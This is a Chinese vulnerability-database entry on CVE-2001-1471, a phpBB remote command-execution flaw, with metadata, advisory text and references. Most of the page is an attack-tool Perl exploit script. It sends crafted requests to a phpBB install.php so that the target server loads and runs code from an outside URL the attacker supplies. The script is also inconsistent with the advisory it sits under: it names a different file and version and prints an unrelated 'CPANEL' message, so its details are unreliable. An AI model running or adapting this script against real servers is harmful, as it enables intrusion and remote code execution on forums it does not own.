phpBB Page Header远程任意命令执行漏洞

phpBB Page Header远程任意命令执行漏洞

漏洞ID 1106451 漏洞类型 输入验证
发布时间 2001-07-31 更新时间 2005-10-20
图片[1]-phpBB Page Header远程任意命令执行漏洞-安全小百科CVE编号 CVE-2001-1471
图片[2]-phpBB Page Header远程任意命令执行漏洞-安全小百科CNNVD-ID CNNVD-200107-189
漏洞平台 PHP CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/21065
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200107-189
|漏洞详情
phpBB1.4.0及其早期版本的prefs.php存在漏洞。远程认证用户借助无效的语言值执行任意PHP代码。该漏洞阻止变量(1)prefs.php中的$l_statsblock或者(2)auth.ph中的$l_privnotify适当的初始化。该漏洞可被用户修改然后用于eval描述。
|漏洞EXP
source: http://www.securityfocus.com/bid/3167/info

An input validation error exists in phpBB, a freely available WWW forums package.

The problem is due to improper validation of some variables in phpBB. It is possible for users registered with the phpBB system to submit values for certain variables used internally by some scripts in the package. An attacker may be able to circumvent the loading of certain values used in the package, and thus be able to submit values of his or her choice.

In the 'page_header.php' script, one such variable is evaluated using PHP's eval() command. As a result, it may be possible for a remote attacker to submit values causing the execution of arbitrary commands on the system running phpBB. 

#####################################################
# Spabam 2003 PRIV8 code
# #hackarena irc.brasnet.org
# This Script is currently under development
#####################################################
use strict;
use IO::Socket;
my $host;
my $port;
my $command;
my $url;
my @results;
my $probe;
my @U;
$U[1] = "/phpbb2/install.php?phpbb_root_dir=http://";
&intro;
&scan;
&choose;
&command;
&exit;
sub intro {
&help;
&host;
&server;
sleep 3;
};
sub host {
print "nHost or IP : ";
$host=<STDIN>;
chomp $host;
if ($host eq ""){$host="127.0.0.1"};
$port="80";
chomp $port;
if ($port =~/D/ ){$port="80"};
if ($port eq "" ) {$port = "80"};
};
sub server {
my $X;
print "nnnnnnnnnnnnnnnnnnnnnnnn";
$probe = "string";
my $output;
my $webserver = "something";
&connect;
for ($X=0; $X<=10; $X++){
	$output = $results[$X];
	if (defined $output){
	if ($output =~/Apache/){ $webserver = "Apache" };
	};
};
if ($webserver ne "Apache"){
my $choice = "y";
chomp $choice;
if ($choice =~/N/i) {&exit};
            }else{
print "nnOK";
	};		
};  
sub scan {
my $status = "not_vulnerable";
print "nnnnnnnnnnnnnnnnnnnnnnnn";
my $loop;
my $output;
my $flag;
$command="dir";
for ($loop=1; $loop < @U; $loop++) { 
$flag = "0";
$url = $U[$loop];
$probe = "scan";
&connect;
foreach $output (@results){
if ($output =~ /Directory/) {
                              $flag = "1";
			      $status = "vulnerable";
			      };
	};
if ($flag eq "0") { 
}else{
print "aaan$host VULNERABLE TO CPANEL 5 $loop !!!";
     };
};
if ($status eq "not_vulnerable"){

				};
};
sub choose {
my $choice="0";
chomp $choice;
if ($choice > @U){ &choose };
if ($choice =~/D/g ){ &choose };
if ($choice == 0){ &other };
$url = $U[$choice];
};
sub other {
my $other = "/phpbb2/install.php?phpbb_root_dir=http://";
chomp $other;
$U[0] = $other;
};
sub command {
while ($command !~/quit/i) {
print "nWRITE YA PAGE IMAGE HERE: http://";
$command = <STDIN>;
chomp $command;
if ($command =~/quit/i) { &exit };
if ($command =~/url/i) { &choose }; 
if ($command =~/scan/i) { &scan };
if ($command =~/help/i) { &help };
$command =~ s/s/+/g; 
$probe = "command";
if ($command !~/quit|url|scan|help/) {&connect};
};
&exit;
};  
sub connect {
my $connection = IO::Socket::INET->new (
				Proto => "tcp",
				PeerAddr => "$host",
				PeerPort => "$port",
				) or die "nSorry UNABLE TO CONNECT To $host On Port $port.n";
$connection -> autoflush(1);
if ($probe =~/command|scan/){
print $connection "GET $url$command HTTP/1.0rnrn";
}elsif ($probe =~/string/) {
print $connection "HEAD / HTTP/1.0rnrn";
};

while ( <$connection> ) { 
			@results = <$connection>;
			 };
close $connection;
if ($probe eq "command"){ &output };
if ($probe eq "string"){ &output };
};  
sub output{
my $display;
if ($probe eq "string") {
			my $X;
			for ($X=0; $X<=10; $X++) {
			$display = $results[$X];
			if (defined $display){print "$display";};
			sleep 1;
				};
			}else{
			foreach $display (@results){
			    print "$display";
			    sleep 1;
				};
                          };
};  
sub exit{
print "nnn
SPABAM 2003.";
print "nnn";
exit;
};
sub help {
print "nnnnnnnnnnnnnnnnnnnnnnnn";
print "n PHPBB LAMAH EXPLOIT!!!";
print "n spabam make this shit..";
print "n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
print "nnnnnnnnnnnn";
};
|参考资料

来源:US-CERTVulnerabilityNote:VU#920931
名称:VU#920931
链接:http://www.kb.cert.org/vuls/id/920931
来源:BID
名称:3167
链接:http://www.securityfocus.com/bid/3167
来源:XF
名称:phpbb-admin-access(6944)
链接:http://xforce.iss.net/xforce/xfdb/6944
来源:BUGTRAQ
名称:20010804Re:phpBB1.4.0bugleadstoeasyadminprivileges
链接:http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2001-08/0087.html
来源:BUGTRAQ
名称:20010810EasilyandRemotelyPipeaCovertShellonphpBBversion1.4.0andbelow
链接:http://archives.neohapsis.com/archives/bugtraq/2001-08/0123.html

相关推荐: BBS E-Market Professional bf_130 1.3.0 – Multiple File Disclosure Vulnerabilities

BBS E-Market Professional bf_130 1.3.0 – Multiple File Disclosure Vulnerabilities 漏洞ID 1054628 漏洞类型 发布时间 2004-09-15 更新时间 2004-09-1…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享